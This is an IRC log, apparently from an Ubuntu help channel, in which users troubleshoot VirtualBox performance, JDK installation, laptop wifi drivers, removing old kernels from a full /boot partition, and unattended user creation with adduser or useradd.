[20:53] <halo11> i downloaded ubuntu 1204 l something
[20:53] <halo11> and i installed that in my virtualbox which runs poor
[20:53] <hendrelouw73> Can anyone answer this question: http://askubuntu.com/questions/280124/install-jdk-in-ubuntu
[20:55] <bbbbb> so if i skipped "setting up network" on my server install - how do i get back to that prompt?
[20:55] <halo11> the virtualbox im running is oracle virtualbox
[20:55] <bekks> halo11: Which version?
[20:55] <halo11> let me check
[20:56] <halo11> this here VirtualBox 4.2.12 for Windows hosts  x86/amd64
[20:56] <zykotick9> halo11: does your CPU support virtualization?  do you get results from "cat /proc/cpuinfo | egrep '(vmx|svm)' "?  if not... ahhh... expect slow.
[20:57] <bekks> halo11: So your host is Windows, you are using vbox 4.2.12 to run Ubuntu 12.04 then?
[20:57] <wilee-nilee> hendrelouw73, This link worked for me every time. http://www.webupd8.org/2012/01/install-oracle-java-jdk-7-in-ubuntu-via.html
[20:57] <zykotick9> halo11: oh your host is windows - nevermind.
[20:57] <theadmin> halo11: If you're running 12.10 on Virtualbox make sure to enable 3D acceleration
[20:57] <halo11> im new at this so im not sure wat you mean
[20:57] <halo11> i have that virtualbox downloaded on windows 7
[20:58] <halo11> no 1204 it is
[20:58] <theadmin> halo11: Ah, okay. Then give it at least 512M of RAM (the more the better) and you should be fine
[20:59] <halo11> my computer spec are 4.00gb 374 usable if that tells u anything
[20:59] <halo11> oops 4.00 gb 374 gb usable
[21:01] <halo11> on my computer says 4.00 gb isnt that  less then 512 ram for virtualbox
[21:02] <MonkeyDust> halo11  specify: 4gb RAM and 374GB harddisk
[21:03] <halo11> thats what it show when i click on my setting under computer yes
[21:06] <halo11> last question do i need to burn ubuntu iso to cd or no
[21:07] <zykotick9> MonkeyDust: a 374GB VM, that's a monster
[21:10] <MonkeyDust> zykotick9  true, just re-read, wasnt aware it was vbox :)
[21:11] <Guest37223> hi, i'm a linux newbie (coming from mac os x, totally tired of apple thou) and i want to compile an optimized kernel for my macbook (i5). can you reference to any starting point? or is my project to difficult with my small knowledge?
[21:11] <zykotick9> MonkeyDust: quick PM?
[21:17] <Sal> hi
[21:18] <The_Ghost> bye guyssssss
[21:18] <Sal> i was trying to install ubuntu on my laptop, but it doesn't connect wi-fi so, i'm unable to proceed.
[21:18] <Sal> is there anything i can do?
[21:18] <Sal> i think its fdoesn't have the right drivers
[21:18] <Guest37223> Sal, what Laptop do you have?
[21:19] <Sal> let me find it on the net, wait
[21:21] <Sal> Guest37223: http://uk.hardware.info/productinfo/1729/olidata-stainer-w2800
[21:23] <shambat> I'm running 12.04 Server, trying to clean out my boot partition, but whatever command I try, apt-get tells me I need to install dependencies for the new kernel, and there is no room for those. How can I remove the old kernels that I'm not using without installing a new one? This is what I tried so far: sudo apt-get -f purge $(dpkg -l linux-{image,headers}-"[0-9]*" | awk '/ii/{print $2}' | grep
[21:23] <shambat> -ve "$(uname -r | sed -r 's/-[a-z]+//')")
[21:27] <miksd> apt-get --purge remove linux-image-you-don't-need did work for me..
[21:27] <miksd> dunno
[21:28] <shambat> I get this message: http://dpaste.com/1063948/
[21:30] <miksd> and apt-get -f install does whatays not enough space?
[21:30] <ozzloy> how do i get adduser to not ask for full name, room number, etc?
[21:31] <miksd> does what? says not enough space?*
[21:32] <jpds> ozzloy: Use useradd?
[21:32] <jpds> ozzloy: But note that it's more lower-level.
[21:32] <ozzloy> useradd doesn't create a home dir
[21:32] <shambat> miksd, yeah it says I cant install cause of no space :
[21:32] <ozzloy> how do i create home dir with /etc/skel and such
[21:32] <ozzloy> i could do that too
[21:32] <miksd> delte manually some stuff from boot then
[21:32] <KatsumeBlisk> ozzloy: You can just hit enter and skip those prompts
[21:32] <KatsumeBlisk> ozzloy: For example, I don't give it a room number because it's pointless for me.
[21:32] <miksd> then do -f install and then remove unused kernels with apt-get
[21:33] <ozzloy> KatsumeBlisk, that's not a solution
[21:33] <shambat> miksd, what files are safe to delete from there?
[21:33] <ozzloy> KatsumeBlisk, i need the process to happen unattended
[21:33] <ozzloy> thanks though
[21:33] <jpds> KatsumeBlisk: I think he's trying to automate it by not making it interactive.
[21:33] <ozzloy> jpds, it looks like there are options for the home dir
[21:33] <ozzloy> so that's cool
[21:33]  * ozzloy gives that a shot
[21:33] <miksd> use useradd
[21:34] <shambat> miksd, http://dpaste.com/1063952/
[21:34] <jpds> miksd: That's what I said. ;-)
